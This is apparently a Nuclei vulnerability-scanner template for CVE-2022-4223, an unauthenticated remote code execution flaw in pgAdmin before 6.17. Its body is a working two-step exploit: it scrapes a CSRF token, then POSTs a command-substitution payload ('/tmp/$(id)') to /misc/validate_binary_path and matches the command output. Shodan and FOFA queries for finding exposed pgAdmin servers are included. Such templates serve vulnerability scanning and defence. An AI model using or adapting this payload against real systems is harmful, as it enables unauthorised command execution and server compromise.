CVE-2022-4223: pgAdmin < 6.17 - Unauthenticated Remote Code Execution

id: CVE-2022-4223

info:
  name: pgAdmin < 6.17 - Unauthenticated Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    pgAdmin prior to 6.17 contains an insecure HTTP API caused by improper access control, letting unauthenticated users execute arbitrary external utilities via path manipulation, exploit requires no authentication.
  impact: |
    Attackers can execute arbitrary external utilities on the server, potentially leading to remote code execution or system compromise.
  remediation: |
    Update to version 6.17 or later to fix the security issue.
  reference:
    - https://github.com/advisories/GHSA-3v6v-2x6p-32mc
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4223
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4223
    epss-score: 0.80069
    epss-percentile: 0.99594
    cwe-id: CWE-94,CWE-862
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"pgAdmin"
    fofa-query: title="pgAdmin"
  tags: cve,cve2022,pgadmin,rce,unauth,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf
        part: body
        group: 1
        regex:
          - 'name="csrf_token"[^>]*value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /misc/validate_binary_path HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-pgA-CSRFToken: {{csrf}}
        Referer: {{RootURL}}/browser/

        {"utility_path":"/tmp/$(id)"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "uid=", "gid=")'
        condition: and

    extractors:
      - type: regex
        part: body
        regex:
          - 'uid=[0-9]+\([a-zA-Z0-9_-]+\)\s*gid=[0-9]+\([a-zA-Z0-9_-]+\)'
# digest: 4b0a00483046022100c04229ee0c50f3fb69bae0eb51ee0ff2ffe443e1fe5e9c4a890e469d450b6375022100a716c40fc078d541316394cd907a7c5a1cbb7fd611a9a0009ab6c68fd66de770:922c64590222798bb761d5b6d8e72950

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